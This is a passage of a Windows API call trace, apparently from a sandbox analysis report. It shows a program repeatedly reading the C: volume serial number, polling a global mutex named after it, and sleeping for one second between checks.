(HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db278 [0255.243] GetProcessHeap () returned 0x6a0000 [0255.243] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x37935a8 [0255.243] GetProcessHeap () returned 0x6a0000 [0255.243] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x37935a8 | out: hHeap=0x6a0000) returned 1 [0255.243] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db228, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0255.243] GetProcessHeap () returned 0x6a0000 [0255.244] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db278 | out: hHeap=0x6a0000) returned 1 [0255.244] GetProcessHeap () returned 0x6a0000 [0255.244] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0255.244] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0255.244] GetProcessHeap () returned 0x6a0000 [0255.244] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db228 | out: hHeap=0x6a0000) returned 1 [0255.244] GetProcessHeap () returned 0x6a0000 [0255.244] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0255.244] GetProcessHeap () returned 0x6a0000 [0255.244] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0255.244] GetProcessHeap () returned 0x6a0000 [0255.244] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0255.244] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0255.244] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0255.244] CloseHandle (hObject=0x1a0) returned 1 [0255.244] GetProcessHeap () returned 0x6a0000 [0255.244] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0255.244] GetProcessHeap () returned 0x6a0000 [0255.244] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0255.244] Sleep (dwMilliseconds=0x3e8) [0257.067] GetProcessHeap () returned 0x6a0000 [0257.067] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ba578 [0257.067] GetProcessHeap () returned 0x6a0000 [0257.067] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6ba438 [0257.067] GetProcessHeap () returned 0x6a0000 [0257.067] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6ba1e0 [0257.067] GetProcessHeap () returned 0x6a0000 [0257.068] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x37935a8 [0257.068] GetProcessHeap () returned 0x6a0000 [0257.068] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x37935a8 | out: hHeap=0x6a0000) returned 1 [0257.068] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6ba438, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0257.068] GetProcessHeap () returned 0x6a0000 [0257.068] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba1e0 | out: hHeap=0x6a0000) returned 1 [0257.068] GetProcessHeap () returned 0x6a0000 [0257.068] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba578 | out: hHeap=0x6a0000) returned 1 [0257.068] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0257.068] GetProcessHeap () returned 0x6a0000 [0257.068] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba438 | out: hHeap=0x6a0000) returned 1 [0257.068] GetProcessHeap () returned 0x6a0000 [0257.068] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b45f0 [0257.069] GetProcessHeap () returned 0x6a0000 [0257.069] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4680 [0257.069] GetProcessHeap () returned 0x6a0000 [0257.069] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4680, Size=0x72) returned 0x6b01b0 [0257.069] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x11c [0257.069] WaitForSingleObject (hHandle=0x11c, dwMilliseconds=0x0) returned 0x102 [0257.069] CloseHandle (hObject=0x11c) returned 1 [0257.069] GetProcessHeap () returned 0x6a0000 [0257.069] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b45f0 | out: hHeap=0x6a0000) returned 1 [0257.069] GetProcessHeap () returned 0x6a0000 [0257.069] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0257.069] Sleep (dwMilliseconds=0x3e8) [0258.209] GetProcessHeap () returned 0x6a0000 [0258.209] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ba438 [0258.209] GetProcessHeap () returned 0x6a0000 [0258.209] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6ba578 [0258.209] GetProcessHeap () returned 0x6a0000 [0258.209] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6ba1e0 [0258.209] GetProcessHeap () returned 0x6a0000 [0258.209] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x37935a8 [0258.209] GetProcessHeap () returned 0x6a0000 [0258.209] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x37935a8 | out: hHeap=0x6a0000) returned 1 [0258.209] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6ba578, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0258.209] GetProcessHeap () returned 0x6a0000 [0258.209] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba1e0 | out: hHeap=0x6a0000) returned 1 [0258.209] GetProcessHeap () returned 0x6a0000 [0258.209] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba438 | out: hHeap=0x6a0000) returned 1 [0258.209] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0258.210] GetProcessHeap () returned 0x6a0000 [0258.210] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba578 | out: hHeap=0x6a0000) returned 1 [0258.210] GetProcessHeap () returned 0x6a0000 [0258.210] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b45f0 [0258.210] GetProcessHeap () returned 0x6a0000 [0258.210] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4680 [0258.210] GetProcessHeap () returned 0x6a0000 [0258.210] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4680, Size=0x72) returned 0x6b01b0 [0258.210] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x11c [0258.210] WaitForSingleObject (hHandle=0x11c, dwMilliseconds=0x0) returned 0x102 [0258.210] CloseHandle (hObject=0x11c) returned 1 [0258.210] GetProcessHeap () returned 0x6a0000 [0258.210] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b45f0 | out: hHeap=0x6a0000) returned 1 [0258.210] GetProcessHeap () returned 0x6a0000 [0258.210] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0258.210] Sleep (dwMilliseconds=0x3e8) [0259.221] GetProcessHeap () returned 0x6a0000 [0259.221] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6daee0 [0259.221] GetProcessHeap () returned 0x6a0000 [0259.221] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db2c8 [0259.221] GetProcessHeap () returned 0x6a0000 [0259.221] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db200 [0259.221] GetProcessHeap () returned 0x6a0000 [0259.221] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x37935a8 [0259.221] GetProcessHeap () returned 0x6a0000 [0259.221] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x37935a8 | out: hHeap=0x6a0000) returned 1 [0259.221] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db2c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0259.221] GetProcessHeap () returned 0x6a0000 [0259.221] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db200 | out: hHeap=0x6a0000) returned 1 [0259.221] GetProcessHeap () returned 0x6a0000 [0259.221] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0259.221] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0259.222] GetProcessHeap () returned 0x6a0000 [0259.222] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db2c8 | out: hHeap=0x6a0000) returned 1 [0259.222] GetProcessHeap () returned 0x6a0000 [0259.222] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b47e8 [0259.222] GetProcessHeap () returned 0x6a0000 [0259.222] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0259.222] GetProcessHeap () returned 0x6a0000 [0259.222] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0259.222] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x134 [0259.222] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x0) returned 0x102 [0259.222] CloseHandle (hObject=0x134) returned 1 [0259.222] GetProcessHeap () returned 0x6a0000 [0259.222] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b47e8 | out: hHeap=0x6a0000) returned 1 [0259.222] GetProcessHeap () returned 0x6a0000 [0259.222] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0259.222] Sleep (dwMilliseconds=0x3e8) [0260.266] GetProcessHeap () returned 0x6a0000 [0260.266] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db2c8 [0260.266] GetProcessHeap () returned 0x6a0000 [0260.266] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6daee0 [0260.267] GetProcessHeap () returned 0x6a0000 [0260.267] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db200 [0260.267] GetProcessHeap () returned 0x6a0000 [0260.267] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x37935a8 [0260.267] GetProcessHeap () returned 0x6a0000 [0260.267] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x37935a8 | out: hHeap=0x6a0000) returned 1 [0260.267] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6daee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0260.267] GetProcessHeap () returned 0x6a0000 [0260.267] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db200 | out: hHeap=0x6a0000) returned 1 [0260.267] GetProcessHeap () returned 0x6a0000 [0260.267] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db2c8 | out: hHeap=0x6a0000) returned 1 [0260.267] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0260.267] GetProcessHeap () returned 0x6a0000 [0260.267] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0260.267] GetProcessHeap () returned 0x6a0000 [0260.267] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b47e8 [0260.267] GetProcessHeap () returned 0x6a0000 [0260.267] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0260.267] GetProcessHeap () returned 0x6a0000 [0260.267] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0260.267] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x134 [0260.267] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x0) returned 0x102 [0260.267] CloseHandle (hObject=0x134) returned 1 [0260.267] GetProcessHeap () returned 0x6a0000 [0260.267] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b47e8 | out: hHeap=0x6a0000) returned 1 [0260.268] GetProcessHeap () returned 0x6a0000 [0260.268] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0260.268] Sleep (dwMilliseconds=0x3e8) [0261.330] GetProcessHeap () returned 0x6a0000 [0261.330] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6daee0 [0261.331] GetProcessHeap () returned 0x6a0000 [0261.331] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db2c8 [0261.331] GetProcessHeap () returned 0x6a0000 [0261.331] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db200 [0261.331] GetProcessHeap () returned 0x6a0000 [0261.331] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x37935a8 [0261.331] GetProcessHeap () returned 0x6a0000 [0261.331] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x37935a8 | out: hHeap=0x6a0000) returned 1 [0261.331] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db2c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0261.331] GetProcessHeap () returned 0x6a0000 [0261.331] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db200 | out: hHeap=0x6a0000) returned 1 [0261.331] GetProcessHeap () returned 0x6a0000 [0261.331] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0261.331] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0261.331] GetProcessHeap () returned 0x6a0000 [0261.331] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db2c8 | out: hHeap=0x6a0000) returned 1 [0261.331] GetProcessHeap () returned 0x6a0000 [0261.331] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b47e8 [0261.331] GetProcessHeap () returned 0x6a0000 [0261.332] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0261.332] GetProcessHeap () returned 0x6a0000 [0261.332] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0261.332] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x134 [0261.332] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x0) returned 0x102 [0261.332] CloseHandle (hObject=0x134) returned 1 [0261.332] GetProcessHeap () returned 0x6a0000 [0261.332] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b47e8 | out: hHeap=0x6a0000) returned 1 [0261.332] GetProcessHeap () returned 0x6a0000 [0261.332] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0261.332] Sleep (dwMilliseconds=0x3e8) [0262.347] GetProcessHeap () returned 0x6a0000 [0262.347] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db2c8 [0262.347] GetProcessHeap () returned 0x6a0000 [0262.347] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6daee0 [0262.347] GetProcessHeap () returned 0x6a0000 [0262.348] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db200 [0262.348] GetProcessHeap () returned 0x6a0000 [0262.348] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x37935a8 [0262.348] GetProcessHeap () returned 0x6a0000 [0262.348] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x37935a8 | out: hHeap=0x6a0000) returned 1 [0262.348] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6daee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0262.348] GetProcessHeap () returned 0x6a0000 [0262.348] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db200 | out: hHeap=0x6a0000) returned 1 [0262.348] GetProcessHeap () returned 0x6a0000 [0262.348] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db2c8 | out: hHeap=0x6a0000) returned 1 [0262.348] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0262.348] GetProcessHeap () returned 0x6a0000 [0262.348] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0262.348] GetProcessHeap () returned 0x6a0000 [0262.348] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b47e8 [0262.348] GetProcessHeap () returned 0x6a0000 [0262.348] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0262.348] GetProcessHeap () returned 0x6a0000 [0262.348] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0262.348] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x200 [0262.349] WaitForSingleObject (hHandle=0x200, dwMilliseconds=0x0) returned 0x102 [0262.349] CloseHandle (hObject=0x200) returned 1 [0262.349] GetProcessHeap () returned 0x6a0000 [0262.349] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b47e8 | out: hHeap=0x6a0000) returned 1 [0262.349] GetProcessHeap () returned 0x6a0000 [0262.349] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0262.349] Sleep (dwMilliseconds=0x3e8) [0263.561] GetProcessHeap () returned 0x6a0000 [0263.561] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6daee0 [0263.561] GetProcessHeap () returned 0x6a0000 [0263.561] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db2c8 [0263.561] GetProcessHeap () returned 0x6a0000 [0263.561] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db200 [0263.562] GetProcessHeap () returned 0x6a0000 [0263.562] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x37935a8 [0263.562] GetProcessHeap () returned 0x6a0000 [0263.562] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x37935a8 | out: hHeap=0x6a0000) returned 1 [0263.562] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db2c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0263.562] GetProcessHeap () returned 0x6a0000 [0263.562] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db200 | out: hHeap=0x6a0000) returned 1 [0263.562] GetProcessHeap () returned 0x6a0000 [0263.562] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0263.562] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0263.562] GetProcessHeap () returned 0x6a0000 [0263.562] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db2c8 | out: hHeap=0x6a0000) returned 1 [0263.562] GetProcessHeap () returned 0x6a0000 [0263.562] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b47e8 [0263.562] GetProcessHeap () returned 0x6a0000 [0263.562] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0263.562] GetProcessHeap () returned 0x6a0000 [0263.562] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0263.563] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x200 [0263.563] WaitForSingleObject (hHandle=0x200, dwMilliseconds=0x0) returned 0x102 [0263.563] CloseHandle (hObject=0x200) returned 1 [0263.563] GetProcessHeap () returned 0x6a0000 [0263.563] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b47e8 | out: hHeap=0x6a0000) returned 1 [0263.563] GetProcessHeap () returned 0x6a0000 [0263.563] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0263.563] Sleep (dwMilliseconds=0x3e8) [0264.964] GetProcessHeap () returned 0x6a0000 [0264.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db2c8 [0264.964] GetProcessHeap () returned 0x6a0000 [0264.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6daee0 [0264.964] GetProcessHeap () returned 0x6a0000 [0264.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db200 [0264.964] GetProcessHeap () returned 0x6a0000 [0264.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x37935a8 [0264.964] GetProcessHeap () returned 0x6a0000 [0264.964] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x37935a8 | out: hHeap=0x6a0000) returned 1 [0264.964] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6daee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0264.964] GetProcessHeap () returned 0x6a0000 [0264.964] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db200 | out: hHeap=0x6a0000) returned 1 [0264.964] GetProcessHeap () returned 0x6a0000 [0264.964] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db2c8 | out: hHeap=0x6a0000) returned 1 [0264.964] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0264.964] GetProcessHeap () returned 0x6a0000 [0264.964] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0264.964] GetProcessHeap () returned 0x6a0000 [0264.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b47e8 [0264.964] GetProcessHeap () returned 0x6a0000 [0264.965] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0264.965] GetProcessHeap () returned 0x6a0000 [0264.965] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0264.965] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x200 [0264.965] WaitForSingleObject (hHandle=0x200, dwMilliseconds=0x0) returned 0x102 [0264.965] CloseHandle (hObject=0x200) returned 1 [0264.965] GetProcessHeap () returned 0x6a0000 [0264.965] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b47e8 | out: hHeap=0x6a0000) returned 1 [0264.965] GetProcessHeap () returned 0x6a0000 [0264.965] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0264.965] Sleep (dwMilliseconds=0x3e8) [0266.166] GetProcessHeap () returned 0x6a0000 [0266.166] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6daee0 [0266.166] GetProcessHeap () returned 0x6a0000 [0266.166] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db2c8 [0266.166] GetProcessHeap () returned 0x6a0000 [0266.166] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db200 [0266.166] GetProcessHeap () returned 0x6a0000 [0266.166] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x37935a8 [0266.166] GetProcessHeap () returned 0x6a0000 [0266.166] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x37935a8 | out: hHeap=0x6a0000) returned 1 [0266.166] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", 